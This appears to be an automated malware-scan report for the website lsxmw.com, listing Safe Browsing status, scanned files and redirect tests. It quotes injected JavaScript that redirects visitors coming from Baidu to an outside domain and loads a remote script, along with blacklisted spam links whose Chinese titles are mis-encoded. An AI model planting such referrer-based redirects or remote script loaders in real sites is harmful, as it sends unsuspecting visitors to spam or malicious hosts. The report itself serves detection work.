Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=lsxmw.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.lsxmw.com/ | HTTP/1.1 200 OK Date: Mon, 02 Mar 2015 18:42:17 GMT Accept-Ranges: bytes ETag: "65f84f8c814d01:5ce" Server: Microsoft-IIS/6.0 Content-Length: 11202 Content-Location: http://www.lsxmw.com/index.html Content-Type: text/html Last-Modified: Wed, 10 Dec 2014 22:30:58 GMT X-Powered-By: ASP.NET | clean |
http://www.lsxmw.com/index.html | 200 OK Content-Length: 11202 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: ahcygg.com ...[2406 bytes skipped]... ""></a><span>2014-11-22 6:54:03</span></li> </ul> <ul> <li><a href="cate_url" title=""></a><span>2014-11-22 6:54:03</span></li> </ul> <ul> <li><a href="cate_url" title=""></a><span>2014/" title="СÔóÂêÀûÑDzåbbÓ°Ôº">СÔóÂêÀûÑDzåbbÓ°Ôº</a></li> <li class="no1"><a href="http://ahcygg.com/sports/" title="ÍõÕßÎÞµÐС˵ÏÂÔØ">ÍõÕßÎÞµÐС˵ÏÂÔØ</a></li> <li class="no1"><a href="http://99hsj.com/culture/" title="²¨¶àÒ°½áÒµĵÄÖÖ×Ó">²¨¶àÒ°½áÒµĵÄÖÖ×Ó</a></li> <li class="no1"><a href="http://anchor-hold.com/home/" title="ÊÖÒùÓë°¬×̲¡">ÊÖÒùÓë°¬×̲¡</a></li> <li class="no1"><a href="http://scjiuyuanheiji.com" title="ËÄ´¨Ê¡ÍòÔ´ÊоÉÔººÚ¼¦ÎÅÉùÑøÖ³³¡">ËÄ´¨Ê¡ÍòÔ´ÊоÉÔººÚ¼¦ÎÅÉùÑøÖ³³¡</a>&l ...[1879 bytes skipped]... | ||
http://Js.lwtzdec.com/huishou.js | 200 OK Content-Length: 1063 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: vip.hunlianyuan.com ...[596 bytes skipped]... ) > -1) { window.opener.location.href = url } else { window.opener.location.replace(url) } } }; var referer = document.referrer; if (!referer) { return }; var rst = /https?\:\/\/([^\/]+)/i.exec(referer); var host = rst ? rst[1] : 'unknown'; if (/baidu\.com$/i.test(host) && timeallow) { var search = referer.substring(referer.indexOf('?')); jump("http://vip.hunlianyuan.com/1.html"); return } })() } catch(e) {} document.write ('<script language="javascript" type="text/javascript" src="http://js.17meiliba.com/tan.js"></script>'); | ||
http://lsxmw.com/tj.js | 200 OK Content-Length: 0 Content-Type: application/x-javascript | clean |
http://www.lsxmw.com/cate_url | HTTP/1.1 200 OK Date: Mon, 02 Mar 2015 18:42:23 GMT Accept-Ranges: bytes ETag: "b623798311d01:5ce" Server: Microsoft-IIS/6.0 Content-Length: 1551 Content-Location: http://www.lsxmw.com/404.html?404;http://www.lsxmw.com:80/cate_url Content-Type: text/html Last-Modified: Sat, 15 Nov 2014 18:25:20 GMT X-Powered-By: ASP.NET | clean |
http://www.lsxmw.com/404.html?404;http://www.lsxmw.com:80/cate_url | 200 OK Content-Length: 1551 Content-Type: text/html | clean |
http://www.qq.com/404/search_children.js | 200 OK Content-Length: 295 Content-Type: application/javascript | clean |
http://js.users.51.la/17453581.js | 200 OK Content-Length: 1930 Content-Type: application/x-javascript | clean |
http://www.lsxmw.com/test404page.js | HTTP/1.1 200 OK Date: Mon, 02 Mar 2015 18:42:26 GMT Accept-Ranges: bytes ETag: "b623798311d01:5ce" Server: Microsoft-IIS/6.0 Content-Length: 1551 Content-Location: http://www.lsxmw.com/404.html?404;http://www.lsxmw.com:80/test404page.js Content-Type: text/html Last-Modified: Sat, 15 Nov 2014 18:25:20 GMT X-Powered-By: ASP.NET | clean |
http://www.lsxmw.com/404.html?404;http://www.lsxmw.com:80/test404page.js | 200 OK Content-Length: 1551 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: lsxmw.com
Result:
GET / HTTP/1.1
Host: lsxmw.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: lsxmw.com
Referer: http://www.google.com/search?q=lsxmw.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: lsxmw.com
Referer: http://www.google.com/search?q=lsxmw.com
Result:
The result is similar to the first query. There are no suspicious redirects found.